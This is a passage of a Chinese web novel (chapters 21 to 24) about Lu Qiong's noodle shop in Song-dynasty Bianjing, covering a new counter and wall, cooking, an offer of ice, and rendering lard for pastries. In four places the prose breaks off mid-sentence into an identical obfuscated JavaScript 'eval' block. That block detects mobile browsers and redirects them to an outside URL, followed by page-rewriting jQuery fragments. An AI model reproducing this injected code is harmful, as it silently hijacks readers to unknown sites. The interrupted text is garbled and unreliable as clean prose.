陆琼也累得直不起腰，水缸的水还需要打满，要是院里有一口井，她们也能轻松些，但也不能真的去凿井，毕竟这也不是她的院子。 相国寺一日后，陆记也名声大噪，前来的食客变多，几乎赶得上刚开业的光景。 她们也跟相国寺的人建立了联系，尤其是尼姑们很和善，今早还托人送来新做的衣裳，陆琼也叫陆萱回一些糕点。 除此之外，陆记也有位意外的来客。 原先的长柜太矮，陆琼每次写字都要弓着腰，时间一长便会腰酸背痛。所以她费心思画了一张柜子图纸，比寻常的桌子要高，要窄，占的空间不大，方便她在上边记账、写字。 依旧是找裴玉打的木柜，用榫法将几块木板接在一起，还有三个抽屉，左右两边偏小，中间较宽，用来放铜板、账本。下边挖空，冬日可以放暖炉，这样就不会冻脚。 裴玉独自将木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841538|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜从通济坊拉过来，陆琼见了本想帮忙搬到铺子里，一旁等待汤饼的粗眉食客把她拦下，撸起衣袖便笑着道：“陆掌柜还是歇着，要是弄伤手谁给我们做吃食。” 粗眉食客膀子肉厚，见着就是常做体力活的，陆琼笑着应下，以及跟在旁边扶着，过门槛还提醒他们：“小心脚下。” 新做的木柜挨着灶台，这也是无奈之举，铺子就是这版小，灶台也无法重新改，只能过几日找人砌道墙，把木柜跟灶台隔开。 “二位忙坏了，来一碗渴水先，新下的汤饼还没好。”陆琼端着两份杨梅渴水到他们手中。 裴玉起先还推脱，说她已经付过钱不好再白要东西，粗眉食客倒是大方，性子也爽快，一个劲地叫他收下，最后也吃掉呈上的三鲜面。 送走食客，陆琼也回到新打的木柜边，陆萱扯下腰间的粗布，对着木柜便是一顿好擦：“他打的家当就是好，耐用还美观。” “耐用也不必擦这般狠，新上的漆呢！”陆琼在一旁哎哟哎呦可心疼。 杨姐儿的声响也不小，手中的面团摔在木板上“哐哐”作响，跟陆萱也是一通气：“新上的漆气味重，多擦几回才好，我瞧萱姐儿手劲还不够。” 罢了罢了，陆琼怎么都说不过两张嘴，抬脚就去把外边的长凳摆整齐。 一道阴影落下，她也抬起头来，口中的话也随之戛然而止：“这位客官......” 竟是州桥闹事的小娘子，兄长落难，所以孤身一人来“碰瓷”？亏陆琼之前还觉得她可怜。 谁知徐妙姑也只是提着一个破旧的竹编食盒，轻声道：“要一份冷淘。” 来者便是客，陆琼也不能当着众人的面将她赶走，且看她这般也跟寻常食客并无多大差别，淡淡应下便去淘冷面。 陆萱也认出那人，凑到陆琼耳边说话：“这不是那日肚子疼的客人？怎么上我们这来了。” 杨姐儿也跟着八卦，问是何事，陆萱便把那日的事添油加醋说与她听。 杨姐儿面也不和，瞪大眼：“怎有这般无理取闹之人，今儿也是来闹事的？那可不行，得去官府找人。” 说着这架势就是要出去找人，吓得陆琼连忙把她扯回来，小声道：“倒也不必如此惊慌，我见她今日来也并不多大敌意，说不准就是想吃杨姐儿做得汤饼的，毕竟杨姐儿近来也是有名了。” 杨姐儿不是多想的人，听她这么一说也放下心，倒是被夸得脸红，只好把内心那股兴奋劲儿拿来摔面了，又是一阵哐哐响。 陆琼这边也做好冷淘，淋上最后一小勺热油，面皮就被染成秀色可餐的红油色，再给她多添些小料。毕竟那天听金娘说过她的身世，倒也是个可怜人，顺便搭上两份卖剩的糕点。 想起那气人的兄长，她心里还是忍不住叹气，将冷淘装回竹编食盒，便拿到徐妙姑手中，像对旁的食客一般，好生说道：“客官慢走！” 徐妙姑瞧她一眼，也感受到食盒的重量，声音轻到几乎听不清：“谢谢。” 22. 砌矮墙 在木柜安置好的第二日下午，陆琼便叫石匠来砌墙。 以前没有石灰，都是用黄色粘土来砌筑，而宋代已经能将石灰、黄粘土和水混合成白灰色粘土浆。这种灰浆砌成的建筑较为坚固，若是加上糯米汤还可更牢固，但陆琼对墙体要求不高，所以省去这一步。 她初步的想法是靠墙的灶台不动，隔灶台几步远砌一道矮墙，日后还可以放烹饪好的汤饼。木柜也隔着矮墙放置，这样她们一转身便能将菜品传递出去。 吴石匠是金娘给介绍来的，也是通济坊的街坊，都住在一起好互相帮衬。他还带着一位小学徒，身板精瘦，皮肤黢黑，倒是一双眼睛炯炯有神，瞧着便有股精明劲儿。 需要砌的墙不长，大致与木柜对齐，陆琼花半贯钱便能将材料买齐，粘土砖头、生石灰、黄粘土......全都托人运到大门旁。 碾成粉末的石灰、黄泥土堆在一起，吴石匠在中间挖空，小学徒将打来的水倒在其中，随后还在一旁的铁锅煮石膏，掺在泥浆可以减慢其凝固速度。 和好泥浆，吴石匠便在灶台边用木炭画线，确保尺寸不会偏离。小学徒递粘土砖，吴石匠便将砖平铺一层，用水泥加固，再错缝铺砖。 刚铺好第一层，小学徒就端来一碗水，碗的内部用漆汁画线，放在砖上用以确保墙体是水平的。 灶台处被陆琼事先盖好粗布，但吴石匠很细心，没有将泥浆溅到四周。小学徒也在砌完墙后将卫生打扫好，就连外边遗留的泥浆也用水一遍遍冲刷掉。 陆琼见他们在收尾，便去饼铺买了几份烧饼，总觉得请师傅盖房子都要请吃的，只是她这灶房还在改造，不能立即生火。 近来面粉涨价，烧饼也比往常份量小了，但依旧是五文一份，夹猪肉馅需十文一份，羊肉馅十三文一份。而新出炉的烧饼还冒着热气，散发出浓浓的咸香，小学徒闻着便不停地咽口水。 陆琼把烧饼递给他，笑着招呼人：“二位都辛苦了，这是顺手买的烧饼。” 还把今儿的工钱都结给吴石匠，一共是三百文，小学徒只能分到十来文。这也得夸吴石匠为人忠厚，毕竟大多数学徒都是没有工钱的，跟人拜师还得交束脩，多为十条干肉，并非所有人都负担得起。 等他们走后，陆琼也留下来收拾灶台，这几日还需注意不要撞到矮墙，所以新打的木柜只能摆远些。 旁白就是吴石匠顺手帮忙起的新灶，搭上蒸笼专门用来蒸糕点，也能用来蒸馒头，不过现在也用不了，要多等几日。 阿枫鱼铺的鱼儿贵，陆琼想找何六姑买鱼，打算想上次那般买些小鱼来炸，还是有不少食客好这一口的，这些天都在追着问。 最后检查完灶房，便关紧木门准备回去，顺带把剩下的烧饼带走。 太阳下山，何六姑家已经开始起火，屋顶上缕缕炊烟升起，满院子都是鱼腥混杂着肉香。 何六姑家灶房在堂屋外，上边支有草棚，跟其他屋檐接在一起，下雨也不会淋湿，只是天冷会吹些风。 陆琼闻着满院子的鱼香，见盆里腌制着几条鱼：“你这是做鲊鱼呢？” 何六姑手边已经剁好一盘羊肉馅，撒上葱、姜、盐一起混均匀，倒进油锅滋啦响，还冒着密密麻麻的小泡，掀起一阵烟：“鲊鱼要等好几天才能吃，家里人可等不久，做的是酿鱼，这些羊肉馅再炒几下，熟的差不多就塞进鱼肚里，再架火上炙，香得很！” 这羊肉馅也不知怎么做的，格外香，陆琼顿时觉得手上的烧饼香了，不过还是讲起正事来，找何六姑买剩的小鱼。 何六姑在锅中添了些水，很快就吸进肉馅里，一边翻炒一边道：“你今儿不赶巧，都给卖光了，明天都给你留着，一早就叫人送去。” 陆琼今天也用不上，便不急：“好咧，明天送来再把钱给你，还有这刚买的烧饼吃不完，给你放灶上了。” 何六姑只来得及瞥一眼，嚷着道：“好，都看到了，不过下回就别带东西来了，谁家的钱都不是大风刮的。” 后半句她说的很小声，陆琼也没听见，迈着悠闲的步子走回家，毕竟两家同在一个巷子，走几步路就是。 推开院门，便见陆萱在给雪儿做晚食，见她回来也只是抬起头瞧一眼。她们的晚食都还没着落，一只狗便先吃上了！陆琼摇摇头，怎么觉得自己这日子过得还不如一只狗。 很快也不纠结，毕竟何六姑家的酿鱼把她的馋虫都勾出来了，填肚子才是人生大事。 她家灶房可比陆记大多，也好施展身手，虽然没有羊肉，但是上午买的猪肉还剩了一大块。 就做东坡肉！ 说起来，在宋以前百姓很少吃猪肉。因为猪圈一般盖在厕所下，加上臭味大，一直被嫌弃，也只有贫穷人愿意吃，大多数人更偏好吃羊肉，就是紧衣缩食，好些天不吃肉也要省钱去买一回羊肉。 直到东坡肉的出现，猪肉才走进各家各户，关于猪肉的做法也越来越多。 陆琼把肉切成豆腐块大小，冷水下锅，这一步是为了去腥，捞出后便准备调料。 再次下锅，淋上提前备好的酱汁，倒开水没过肉面，盖上锅大火焖炖。她认为与红烧肉的区别在于不用煎炒，也需要更长时间炖，出锅后的口感也会更软烂。 雪儿早早吃过晚食，还是守在灶台边对着锅流哈喇子。 陆萱午食吃得不多，现下肚子空着，闻到肉香就更饿了，只好把前段时间晒好的蜜饯杏子翻出来，手伸进陶瓮取出一块来，放嘴边嚼几下，越嚼越饿。 见她吃蜜饯，陆琼也想起没剩几天的诗会，届时也可以摆上些蜜饯干果，可来不及做，只能到铺子里跟人买，还有要用的杯盏盘子也不够，打算明天就去买点。 “阿姐明天要去置办些诗会要用的物件，你到时留下跟杨姐儿看好铺子。” 陆萱嘴里都是蜜饯，腮帮子还鼓起来，只能像仓鼠一样点头。 雪儿好吃的劲儿怕不是学了她...... 陆琼有些庆幸，好在她来汴京能挣钱，不然养活他们还有些压力。 锅里的东坡肉已经炖得出味，汁水都被收进去，猪皮也红得透亮，恨不得立即盛上一大碗米饭，伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862182|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起吃才好。 因着放的冰糖多，味道也是偏甜，陆萱便在饭上浇了不少酱汁，不吃肉也觉得香极了！ 跟着阿姐就是好，整日吃好吃的，又啃下一口东坡肉，薄皮嫩肉，肥而不腻，入口即化。 用过晚食，她们还要赶回陆记。 墙体看上去依旧是湿的，不过也已经凝固定型，不故意撞上去也就没什么大问题，但陆琼还是用两张椅子隔着，提醒食客小心。 杨姐儿顺手把灶台再刷一遍，地砖也重新用水冲，看起来更加干净，重新捯饬米面酱醋，翻出新盆就开始和面。 最近铺子里汤饼用的各种菜都是跟人提前要的，尤其是冷淘里的胡瓜丝、萝卜丝，在她们开店前送来，一次付一百文。一般上午就能用掉一半多，剩下的也够用，毕竟晚上吃汤饼的人较少。 每天还要用掉六七缸水，单靠她们挑水是不够用的，陆琼便专门雇人帮忙打水。一回就装满两缸水，灶房一缸，后门一缸，一回给挑夫二十文，一日算下来也要五六十文。 挑夫刚挑满水，陆琼便在后门把剩下的胡瓜都洗净，沥干水放在竹篮里，见缸里还剩了一半多的水，想着今天也是差不多够用。随后她把竹篮拎到灶台上，瞬时水渍便浸湿了一圈，顺手取一根准备切成丝。 陆萱过来说有食客要一碗梅花汤饼，因着上午和好的梅花面团已经用光，杨姐儿便取梅花水到面粉中，打算重新和，一旁空出的锅还在热鸡汤，咕噜咕噜冒着泡，香味扑鼻。 擀成薄薄的面皮，杨姐儿一手拿梅花模具压在上边，一块块梅花状的面片便做好，最后全下锅里煮。 “我方才听说徐嫂这几日就要搬走。”杨姐儿把梅花汤饼都捞起来，还冒着热气。 陆琼手下切丝的动作慢下：“鱼羹店不开了？我见她家生意好着呢，就是还没尝过，听说用的鱼都是现杀的，还有独家配方。” 杨姐儿呢喃：“就是这配方好，被人请去做厨娘，一月有几十贯钱......” “这怎么知道的？徐嫂亲自说的？” 杨姐儿道：“徐嫂家的鱼都是跟阿枫买的，阿枫自是比我先知，今儿遇见多说了几句，不过这钱是我自己猜的。” 这怎么遇见的，一个住西街，一个住东街，陆琼觉得他们怕不是在她眼皮子底下暗度陈仓了？也是有趣。 不过做厨娘有做厨娘的好，不用操心物价和开店成本，每月都有固定的进账，就是要处处听人使唤，失去了自由。 陆琼还是觉得自己开铺子好，每天累些，没有确切的休息时间，但精神上却是自由的。 杨姐儿听她这么讲也点头：“小娘子说得是，还是自己做主好。” 陆琼没再接话，心里在想一事，也不知道徐嫂的铺子何时会被人盘下，毕竟那铺子宽敞，想要的人可不少。 梅花汤饼也过了凉水，浇上一勺鸡汤就出炉，陆萱哼哧哼哧端给食客，鸡汤味伴着梅花香在这屋子里散开。 不久，便又进来一位食客要梅花汤饼。 鸡汤味也愈发浓郁...... 23. 临暑日 前夜她们到桑家瓦子闲逛，看了许多杂技、曲艺，一直到夜深才不得不回去。 是以两人今日起得晚，早食还未来得及做便要赶忙去陆记。所幸杨姐儿勤快，糕点也做了好几回，铺子里都是一股红枣香、桂花香...... 陆琼啃着新买的粽子，还是红豆馅的，吃完一半才觉得胃里不再空虚，嘴里含糊：“还好有杨姐儿在，不然今天又要迟开业。” 陆萱附和地点头，继续埋头吃两个巴掌大的炊饼，夹着半点肉馅也香味四溢。 杨姐儿揭开锅，灶台冒出一团热气，里面的三豆饮也已做好，黑豆、绿豆、赤小豆拌在一起，炖至软烂，再倒上小碗冰糖，笑着说：“小娘子客气了，本就是我该做的。” 说着便盛出几碗三豆饮来，解暑又祛湿，也是近来汴京人的偏好之一。 “方才挑夫过来挑满水，已经付过二十文，临近午时还会再来一回。” 陆琼点头就当是知晓了。毕竟天更热了，她们铺子用水的需求也变大，做汤饼的、泡茶的、洗菜的还有洗碗的，现在就差在饮子里用冰了。 趁着还未开业，陆琼吃完便在茶桌歇息。 半响，门外有人敲门：“陆娘子，我是来送鱼儿的。” 刚开门便看见两大桶鲜活的鱼儿，都是两指粗细，看起来不少，陆琼叫这位闲汉搬到后门去，方便她们处理鱼儿。 陆琼把买鱼的钱交给闲汉，还给他打包几份糕点和几个铜板，当做是跑腿的报酬，所幸人家也乐意收下。毕竟做生意少不了人情世故，这些点心不贵，却能收买人心。 路过墙角她还顺道搬走一张矮凳，放在后门边上便坐着处理鱼儿内脏，直到陆记正式开张，她才弄完一小桶，剩下的也只能先放着。 平日里铺子扫地擦桌的活儿都是一起做的，可今天陆琼要做炸鱼，陆萱只好包揽所有的活儿。她扯下腰间的粗布，沾些水就在桌上擦净，再把陆记周边的地清扫干净便开张。 灶台边上放着一盆小鱼，陆琼加入盐、胡椒粉、酒、葱、姜片，搅拌均匀。见锅里热油不断滚烫，就把鱼儿倒进去，滋啦滋啦响，鱼身瞬间成了金黄色，椒盐味伴着鱼香弥漫四周。 街上行人被炸鱼的香味吸引了，纷纷进店点单。 “掌柜的，来一碗阳春面，还要加一份炸鱼。” 陆琼一边炸鱼，一边应下。 旁边的杨姐儿也把切好的面皮撂成一堆，取几根长条扁平的面皮放入清水锅中，煮熟了才捞到碗里，用勺子浇上汤汁，还撒上几份炸鱼。 陆琼顺手接过汤饼，绕过矮墙递给食客：“客官慢用！” 转身便见面前撒下一片阴影，她抬起头来，谢询正逆光走来，衬得银灰色的窄袖衫袍更加有光泽。 他先一步行礼，脸上的笑愈加温和。 陆琼也回礼。 好似有几日未见过这位小郎君了。还以为是自家的汤饼不合他胃口，又或者是他偏爱到州桥上吃小摊的点心？汴京人的想法总是捉摸不透。 “小郎君今日前来，可是要吃些什么？方才新炸了一锅小鱼，咸香可口，算是店里最美味的配菜，搭上一份热乎的汤饼可舒爽了。” 谢询笑着点头：“就依陆掌柜的。” 陆琼应下便回到灶台，备菜时才想起忘了问他要什么汤饼，转身去看一眼又发觉他眼下的乌青。 罢了，做一份镈饦好了，毕竟他口味清淡。 杨姐儿今天和的面团很光滑，她扯下一小团，又用竹刀分成一小剂子，再拉成小片，见有一碗的份量才罢手，顺手把多余的剂子放回去。 也是奇怪，整日跟在谢询身边的人好似不见了。不过也不干她事，陆琼摇摇头便把小面片都丢进锅里...... 任何一碗汤饼，撒上酥脆的小炸鱼都会变得更香，本是清淡的汤面也沾了亮油，看着便叫人食欲大发。 谢询端坐在桌前，汤饼的热气使他的面庞朦胧起来，有些看不清。 陆琼撤走托盘，笑着招徕他：“方才忘了问你要什么汤饼，便自作主张做了份镈饦，还请慢些享用。” “好。”谢询也笑着点头。 他拿起桌上摆放整齐的筷子，夹起一块炸鱼，只一口便惊叹，外酥里嫩，也不知添了什么香料，咸香适宜，正合口味。 期间店里食客也络绎不绝，新食客老食客都有，陆琼忙着擦桌子、收钱、揪面团。 不知为何，比谢询晚来的食客都走了，他还等在原地，占着凳子也不走。比旁人讲究多了，用完食还要歇息，可别的食客还要坐下呢。 陆琼把粗布塞进腰间，端着另一份食客要的冷淘，递给客人才走到谢询边：“小郎君可是有什么别的需求？” 谢询点头，问起铺子里的饮子。 这是要再来一份饮子？可看他身形也不像是能吃的样子，不过陆琼还是细心招待：“三豆饮如何，正是夏日清暑之品。” 谢询身子依旧坐直，听她话弯起眸子，似有星光在其闪烁：“可是用了冰？” “自然不是，”陆琼摇头，整个人也跟着晃，“不过七月将至，届时也有人贩冰了，本店便会去买些来，只是不知这冰价如何。” 每年的冰价都不同，因采冰、存储、运送差异而有所波动，若是比往年热，冰价也会跟着上涨。 听说也可以用硝石制冰，制成的冰价格会低些，就是她还未见识过。 谢询若有所思，不久才道：“谢某结识过一些好友，正准备售冰，若是陆掌柜急需，我也能找友人寻来。” 陆琼振奋起来，迫不及待问他：“可是真的？那能否在三日内找一些？” 其实还要过段时间才有冰可用，毕竟现在还不算最热，提前把冰窖的冰取出来会加剧损耗，只有在最热时集中出售才能某更多利。 但谢询不怕这些损耗。往年芸香楼都是提前几日用冰，今年不过是顺道分些给陆记，这并不算什么，便点头允诺。 对他不算什么，对陆琼来说却是解决一大难题。因着诗会还有四日举行，她便需要在这几日备好食材，若是可以用冰，那可是能给书院带去一份清凉，不然叫学生边流汗边吟诗作赋，那场面可不太雅观。 可谓是前有雪中送炭，现有暑日“送”冰！ 想到这陆琼对他再三道谢。瞬间觉得这人不碍眼了，还想给他装几份糕点，叫他想待到几时便是几时。 直到人走茶也凉，还是觉得谢洵是个好人。 时值晌午，正是铺子里最忙的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881865|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆琼收走食客吃剩下的残羹，把碗筷放到后门的木盆中。 挑夫也帮忙打来几桶水，倒进半人高的水缸里，哗啦哗啦响，带走一股炎热。 陆琼把今日的钱先给他，一共是六十文，还端来一碗清凉的渴水。 挑夫袖子撸起，露出结实的小臂，一口气饮尽陆琼递给他的杨梅渴水，嘴角流出几滴水，忍不住喟叹。 他把碗顺道放进盆里又想起别的事，便跟陆琼道：“陆掌柜可知旁的鱼羹店要换成什么？” 刚有徐嫂要搬走的风声，汴京人就知道盘下铺子的人是谁，他们消息可真是灵通！ 不过陆琼只知道徐嫂要走，别的就不太清楚，便摇头：“郎君可知道些什么？” 见她这模样，挑夫也是一脸同情，高大的身躯来回踱步，犹豫着还是说出口：“三娘汤饼店要搬到这，他们家做汤饼有些年头了，本事不小。尤其是他家掌柜，跟你年龄相仿，也有一门好手艺。” 没想到陆琼不急，还笑着道谢。 挑夫有些不解：“陆掌柜不怕三娘把你生意抢去了？” 陆琼抿嘴笑：“我怕什么，陆记也不比别的差，再说我总不能拦着他们，不让人在这做生意不是？” 挑夫想着也是，挠挠头，不知该说什么好，却也更佩服陆掌柜为人了。 陆琼：“不过还是感谢郎君将这番话告诉我，正好上午还剩了许多糕点，我去给你多拿几份。” 见她就要转身去拿东西，挑夫连忙摆手：“哎，陆掌柜不必费心，我将这些说与你并不是为了回报，更何况我还有事要做，马上就要走了。” 说完便不顾陆琼劝阻赶忙提着桶走，毕竟陆掌柜没少给他送吃食，可拿人手短，每回都这样也叫他拉不下脸，再说她现在也有难处，就更不能占人便宜。 挑夫便从正门离开陆记食铺。 一路往州桥走，刚好瞧见徐嫂鱼羹店的牌匾被人取下，铺子里桌椅也被收走，顿时变得空荡荡。而徐嫂还在指挥人搬东西，铁锅、小炉灶、木架子......足足装满了一大车子...... 近来找裴玉打木工的人愈发多，就连杨三娘也看出端倪，没少找他要钱。看在钱的份上倒是对裴玉有好脸色了，都开始关心起他的婚事，落在旁人眼中就是好继母，也就只有少数人才知晓她真面目。 金娘几日前也找裴玉打木床，就看见杨三娘那谄媚的样儿，左一个玉哥儿，右一个好大郎，把她看得直起鸡皮疙瘩。 因为是给霜姐儿打的，裴玉没几天便弄好，今天刚好送来，跟金娘合力把木床搬到睡房里，正好靠墙放着。 裴玉刚走，金娘便浑身冒汗，累得气喘吁吁的，忽地闻到一股炸鱼的香味，鼻子一皱：“谁家炸鱼这般香！” 话音刚落，陆琼就提着食盒进来，在院里子喊她，霜姐儿也跟着叫她。金娘听了气也不喘，顺着香味迈出大步。 “你怎么上我这来了？” 陆琼扶着金娘的手臂，笑道：“上午炸得鱼多，顺便带些给你。” 金娘也习惯她这般大方，想着不能白拿人好处，就把家里的鸡蛋给她装回一些去，有来有回才长久。 陆琼：“我这有事想找你帮忙，可不是白忙活，到时会给你钱！” 24. 熬猪油 说这么多，金娘只听见“钱”字了，毕竟谁不爱钱啊。 虽说邻里之间应当互相帮衬，可要是有钱也是天大的好事啊。她话都没听全，频频点头连声应好，生怕人家反悔。 陆琼被她这幅样子逗乐了：“你可不问我是做什么，就这般答应了？” 金娘啧一声，满不在乎：“你还能骗我不成。” “也好，”陆琼擦去眼角笑出的泪花，缓缓气才解释，“过几日要去应天书院送吃食，份量大，我们做不过来，想找你一起帮忙，就是累些。” “应天书院？” 金娘嘴巴长得老大，怕自己听错还重新问一遍：“可是读书人去的应天书院？” 那是各大才子聚集的地方，跟国子监差不了多少，过往还出过不少名人，也不怪金娘震惊。 陆琼笑着答复她：“是你想的应天书院，先前在我这光顾的沈卿好似就是书院的学生，这门生意还少不了他牵线。” 金娘两手一拍，惊呼：“唉哟，那感情好，沈郎君也是好人，我那日也没看走眼。” 陆琼也不跟她争论，跟金娘约定好明日下午一同试做荷花酥，便提着装有鸡蛋的食盒回去，毕竟午食还没做，陆萱也在家里等着。 且诗会要用的茶点她已想好。 糕点就做荷花酥、桃花酥、梨花酥、广寒糕，饮子有冰雪冷元子、杨梅渴水、木瓜渴水，茶壶泡上常用的龙溪茶，旁边再添些蜜饯，几乎是赶得上宫廷盛宴了。 当然，也是她夸张了些，毕竟王权贵族用的东西就值上百贯，她想的这些也不过是小打小闹，比不得人家。 荷花酥一类的酥点都需用猪油，按后世的话说，就是猪油熔点高，比别的油更稳定，更能锁住水分，自然也更好起酥。 下午也要去采购物件，正好能顺道去买几斤猪肉来，得空了就熬成猪油。 午食吃得很简单，陆琼炒了一道笋丝煎肉，两人伴着饭就吃光，饭后还洗了些果子吃。 夏天的桃子价格降下来，原来要十五文一斤，现在十文就能买下来。她一连买了三斤，桃子个头大，一斤也才两三个。 陆萱以前不爱吃桃，因为要削皮，不然桃子皮上的小刺毛会糊嗓子眼。 可搬来汴京后，她不仅要在铺子里帮忙去山药皮、压糕点，做其他事也不含糊，饭后削皮自然也不在话下，还能切成小块摆成果盘，端给陆琼。 陆琼用竹签插一块桃，又脆又甜，还多汁，真解腻。 “阿姐，何时才去置办诗会那日要用的物件？”陆萱眨着大眼，嘴里塞满桃子块，边嚼边溢出些汁水。 陆琼见不得她眼巴巴的模样，给她扎一块桃子，声音都放轻些：“待会就去，说不准还能赶在暮时回来。” 她本想上午就去的，没曾想炸鱼费了些时候，等彻底闲下来就是晌午了。 陆萱点头：“我也一起去。” “好。” 临近暑日，没有树荫的地方一片炎热，陆琼从堂屋出去，刚迈过门槛就被暑气逼退。 方才在院子里泼的一滩水，没多久便干透，这天可真晒，就连雪儿也躲在灶房乘凉。 她只好换步子回到屋里。瓦房的好处便是冬暖夏凉，窗边开条缝就能有丝丝凉意。 等天不那么热，她们才带着背篓出门。 大多数物件都能在杂货铺买到，茶盏、盘子无需操心，届时应天书院会提供，陆琼只需准备装糕点的食盒，盛饮子的器皿。 还有面粉、糖、各种糕点馅料、茶叶...... 杂货铺的掌柜寻小厮帮忙盘点，还在一旁记账：“五斗面粉一百文，两罐糖六十文，红豆十文，红曲二十文......” 还记得起初刚来汴京，买一斤糖都肉疼，如今花半贯钱都不眨眼。 掌柜也是想到过去，有些感慨：“当初小娘子背着竹筐从城外走到汴京，一路风尘仆仆，现在都能在这有一片天地了。” 陆琼笑着不语，把钱给他：“我先走了，暮时叫人送来便可。” 还去肉铺买了五斤肥猪肉，花去一百六十文。猪肉急用，就直接放在背篓里。 最近陆记一日的利润有三五百，好的时候有五六百，差的时候也有三百，除去租金、杨姐儿的工钱，一月还能有十两。 但花钱总比挣钱快，陆琼也只攒了三四两在手里，心里总觉得不踏实，还想再挣多些。 每日都不敢歇息，一天不开张，食客便会流失一小部分，她根本耗不起。 陆萱就跟在她身边转，路过蜜饯铺还买了蜜饯金枣、花生粘、乌梅糖，零零碎碎花了一百多文。 “阿姐，这些够用了吧？” 陆琼掂量着两个竹筐的份量，也差不多是装满了，其余不够的也只能日后买：“差不多了，现在离暮时还有段时间，回去就把这些猪肉熬出油来。” 陆萱停在原地，有些迟疑：“阿姐要亲自熬？” 陆琼挑眉：“不然呢？” 在陆萱记忆里，阿姐也熬过一次猪油，大概是九岁时。 那天虞娘托人带了一大块肥猪肉，就放在院门口，还是陆萱亲自扛到灶台的。 阿姐醒来就不大对劲，先是说些糊涂话，什么“穿越”，又或是“剧组”，总之尽是些她听不懂的话。 后来又说自己做梦了，拎着一块猪肉就去灶房忙活。结果差些把灶房的干稻草给点着了，对陆萱来说可是不小的阴影。 猪油还熬过火了，最后糊在锅底上，不仅白白浪费一大块猪肉，还把锅熬坏了，还是她拉下脸跟虞娘借钱买锅、买猪肉的。 见陆萱皱眉，陆琼也想起之前的糗事，神色有些不自然，拉着她小臂往回走：“那次是意外，这次准能熬出雪白的猪油。” 到家时太阳不那么烈，地砖只剩下余温，雪儿也趴在地上打盹，听到开门声才迈着腿跑过来。 跟着她们打转，甩着尾巴一同进灶房。 陆琼刚提起一块肉，就感受到陆萱直勾勾的目光，看着就是一点也不放心她。 她也不理会，把猪肉都理好，摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14896087|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在灶台的盆上。 一块块都是肥得流油，本来熬猪油应该选板油的，但是陆琼去的时候早就卖光，只能买偏贵的肥肉。 先前买的糖用光了，剩下的陶瓮刚好用来装猪油。 陆琼先用水刷一遍，洗掉粘在陶壁上的糖块，再用水冲洗几遍，放在桌上倒着晾干。 转身就见陆萱干脆坐在一旁盯着她，手上还拿着一块湿抹布，像是有什么不对劲就准备直接把锅都丢出去。 陆琼摇摇头，把肥猪肉洗多几遍，切成大肉块，不然容易熬糊，她之前就是没经验切得太小。 熬糊后还跟虞娘取过不少经，就是没有实操过，毕竟虞娘会顺手帮她熬，熬一回就够用大半年，根本不用愁。 切好的肉放锅里焯水，去掉腥味，再沥水，就能开始熬。 肥猪肉出油很快，锅面滋滋冒泡，猪油金黄透亮，油香也弥散开来。 陆琼用长木匕盛出一勺油：“萱儿帮忙把陶瓮拿过来。” 陆萱见一勺勺猪油盛到陶瓮里，心才安下来，不然把别人的家烧了还不知道要赔多少钱。 她们才刚挣一点钱，别又让阿姐败光了。 余下的猪油渣被陆琼装在另一个盆里，不怕烫还徒手拿一块尝，咬一口就咔嚓响，酥脆可口。 可香！ 还拿给陆萱尝尝，不然陆萱总是不放心她的手艺。 见陆萱吃到眉头舒展，陆琼才笑着道：“好吃吧，这下能放心了？” 天气热，猪油很难凝固，她就把一整个陶瓮都放在阴凉下隔水泡着。 所幸猪油熬得成功，等到第二天下午去看时，已经成了雪白的膏状。 刚好金娘带着霜姐儿来了，她们也开始准备炸荷花酥。 荷花酥分三部分来做，水油皮和油酥、酥心。 陆琼把昨日买的红曲拿出来，用来做荷花酥的荷花。 金娘没做过荷花酥，还是头一回见：“用丹曲就能做荷花酥？” 红曲在古时也叫“丹曲”，用在食物中可以改善色泽、口感，是古时的天然色素，做桃花酥也能用红曲。 陆琼洒出一把面粉，中间挖空放猪油和糖，一边搭话：“能，不过这只是用来上色的。” 